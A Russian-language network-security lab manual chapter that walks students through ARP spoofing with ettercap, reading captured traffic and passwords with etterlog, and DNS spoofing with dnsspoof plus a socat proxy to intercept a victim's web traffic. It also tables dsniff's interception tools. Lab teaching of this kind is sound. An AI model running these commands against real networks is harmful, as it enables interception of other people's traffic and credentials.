Глава 4. Протокол ARP, связанные с ним атаки и их предотвращение

Содержание

Выполнение ARP-spoofing'а
Организация ARP-spoofing'а с помощью Ettercap
Организация MITM-атак с помощью dsniff
Методы обнаружения ARP-spoofing'а
Наблюдение за ARP-протоколом с помощью arpwatch
Поиск порта коммутатора по MAC-адресу
Автоматическое обнаружение новых компьютеров в сети
Методы предотвращения ARP-spoofing'а
Организация безопасной передачи данных с помощью PPPoE
Организация VLAN'ов
Наложение специальных патчей на ядро системы

Выполнение ARP-spoofing'а

Лабораторная работа посвящена изучению атак, базирующихся на технике ARP-подмены (ARP-spoofing)

Организация ARP-spoofing'а с помощью Ettercap

Необходимо проинсталлировать программу ettercap и с её помощью организовать прослушивание трафика между двумя хостами, соединёнными между собой с помощью коммутируемой сети. Обратить внимание на то, как выглядит кэш ARP (ARP-cache) на атакуемых машинах в ходе атаки.

Пусть данные передаются между компьютерами A и B. Третий компьютер C будет выполнять перехват данных. Все компьютеры находятся в одном широковещательном сегменте коммутируемой сети.

  1. Запуск tcpdump на компьютерах A и B

    Произведите запуск tcpdump на компьютерах A и B следующим образом:

    # tcpdump -i eth0 -n arp
    

    Здесь вместо eth0 должен быть указан сетевой интерфейс, на котором будет выполняться прослушивание.

  2. Инсталляция ettercap

    Проинсталлируйте на компьютере C ettercap принятым в операционной системе способом.

    # apt-get install ettercap
    

    В FreeBSD ettercap лучше инсталлировать из портов. Из соображений экономии времени лучше выключить поддержку GTK. Для этого при инсталляции нужно указать параметр WITHOUT_GTK (в том случае, если инсталляция выполняется в несколько этапов, параметр нужно указывать на всех этапах):

    # make search name=ettercap
    Port:   ettercap-gtk2-0.7.2_1,1
    Path:   /usr/ports/net-mgmt/ettercap
    Info:   A network sniffer/interceptor/injector/logger for switched LANs
    Maint:  ports@FreeBSD.org
    B-deps: atk-1.9.1 bitstream-vera-1.10_1...
    R-deps: atk-1.9.1 bitstream-vera-1.10_1...
    WWW:    http://ettercap.sourceforge.net/
    # cd net-mgmt/ettercap
    # make install WITHOUT_GTK=yes
    

  3. Выполнение атаки

    Выполните атаку следующим образом:

    # ettercap -T -M arp /192.168.15.21/ /192.168.15.254/ -L log
    

    Здесь 192.168.15.21 – адрес компьютера A; а 192.168.15.254 – адрес компьютера B, между которыми выполняется легальная передача данных.

  4. Просмотр кэш ARP

    В ходе атаки просмотрите кэш ARP на атакованных машинах A и B:

    # arp -an
    192.168.15.254 at 00:04:79:67:BE:A8 [ether] on eth0
    192.168.15.3 at 00:08:E9:3C:29:FE 1 [ether] on eth0  
    192.168.15.21 at 00:08:E9:3C:29:FE2 [ether] on eth0 
    

    Видно, что один и тот же MAC-адрес встречается дважды: 1 и 2. В одном случае он установлен абсолютно легально, в другом – результат атаки.

  5. Завершение атаки

    Завершите атаку. Для этого дайте команду завершения ettercap на атакующем хосте – нажмите x.

  6. Повторный просмотр кэша ARP

    Ещё раз просмотрите кэш ARP на атакованных машинах.

    # arp -a
    linux.nt (192.168.15.254) at 00:04:79:67:BE:A8 [ether] on eth0
    linux3.linux.nt (192.168.15.3) at 00:08:E9:3C:29:FE [ether] on eth0
    fbsd1.linux.nt (192.168.15.21) at 00:04:79:67:32:11 [ether] on eth0
    

  7. Просмотр результатов атаки

    Данные, перехваченные в ходе атаки, не были потеряны. Поскольку при вызове ettercap был указан ключ -L, все, полученные в ходе перехвата данные, были записаны в файлы журналов атаки. Просмотреть их впоследствии можно будет с помощью программы etterlog.

    Всего было создано два файла: log.ecp и log.eci. Первый содержит всю полученную в ходе перехвата информацию, в то время как второй – наиболее интересную её часть.

    Произведите просмотр результатов атаки таким образом:

    # etterlog log.eci
    

    и

    # etterlog log.ecp
    

    В зависимости от того, какой протокол использовался для передачи перехваченных данных, данные могут быть зашифрованы тем или иным способом, или могут быть не зашифрованными вообще. Точно также, пароли, использовавшиеся при аутентификации сторон, могут быть зашифрованы, хэшированы, или использованы каким-то другим способом.

    Не обязательно что пароли и данные защищаются одним и тем же способом. Алгоритмы, использующиеся для защиты передаваемой информации при использовании различных протоколов обмена приведены в таблицах ниже.

  8. Изучение результатов работы tcpdump

    Просмотрите, какие ARP-пакеты были зафиксированы tcpdump'ом на атакованных хостах A и B.

Таблица 4.1. Программы ettercap

Программы

Описание

ettercap

многоцелевая программа для перехвата и анализа трафика с помощью ARP-spoofing'а

etterlog

анализатор журналов для ettercap

etterfilter

компилятор фильтров для ettercap

Организация MITM-атак с помощью dsniff

Организовать DNS-подмену с помощью программы dnsspoof, входящей в пакет dsniff.

Дополнительная информация, касающаяся безопасности DNS:

  1. Перехват трафика

    [Подсказка]Подсказка

    Этот шаг не является обязательным, если компьютеры используют общую разделяемую среду передачи данных, например, соединены с помощью хаба, или подмена выполняется на шлюзе, через который проходит трафик между жертвами.

    Перехватите трафик между компьютерами A и B с помощью программ ettercap или arpspoof.

  2. Выполнение подмены DNS-адресов

    Выполните подмену DNS-адресов следующим образом:

    #dnsspoof -i eth0
    

    Здесь eth0 – интерфейс, который прослушивается в целях подмены. По этому интерфейсу должны приходить

  3. Проверка

    Удостоверьтесь в том, что выполненные действия привели к требуемому результату, с помощью команд:

    $ host mail.ru
    $ dig mail.ru
    

    (или аналогичных) на компьютере-жертве. Обратите внимание на то, какой адрес возвращается в результате преобразования.

  4. Инсталляция программы socat

    Установите программу socat принятым в операционной системе способом.

    # apt-get install socat
    

    # pkg_add -r socat
    

    Программа socat потребуется для организации tcp-proxy.

  5. Организация прокси

    Сделайте TCP-прокси с помощью socat следующим образом:

    # socat TCP4-LISTEN:80,reuseaddr,fork TCP4:www.mail.ru:80
    

    Сейчас все запросы, приходящие на порт 80 локального хоста перебрасываются на порт 80 сервера www.mail.ru.

  6. Проверка

    С компьютера-жертвы обратитесь на сайт www.mail.ru. Убедитесь, что весь трафик как с хоста, так и на хост www.mail.ru проходит через атакующий компьютер, и доступен для редактирования с помощью socat.

Таблица 4.2. Программы dsniff

Программы

Описание

arpspoof

перехватчик пакетов для коммутируемых сетей. Использует ARP-spoofing

dnsspoof

программа для выполнения DNS-spoofing'а

dsniff

программа перехвата паролей и анализа трафика в коммутируемых сетях

filesnarf

программа перехвата файлов в NFS-сетях

macof

закидать коммутатор пакетами со случайными MAC-адресами

mailsnarf

перехватить почтовые сообщения в формате mbox

msgsnarf

перехватить сообщения chat

sshmitm

выполнить MITM-атаку на SSH

sshow

перехватить и показать SSH-трафик

tcpkill

разорвать TCP-соединение в сети

tcpnice

замедлить скорость TCP-соединения в сети

urlsnarf

перехватить HTTP запросы и представить их в формате Common Log

webmitm

выполнить MITM-атаку на HTTP / HTTPS

webspy

показывать перехваченные URL'ы в браузере

© 2002-2005 Игорь Чубин
Учебный центр Сетевые Технологии, ug-ids, 2006-06-25
Слушатель отсутствует, ДЕМО-ВЕРСИЯ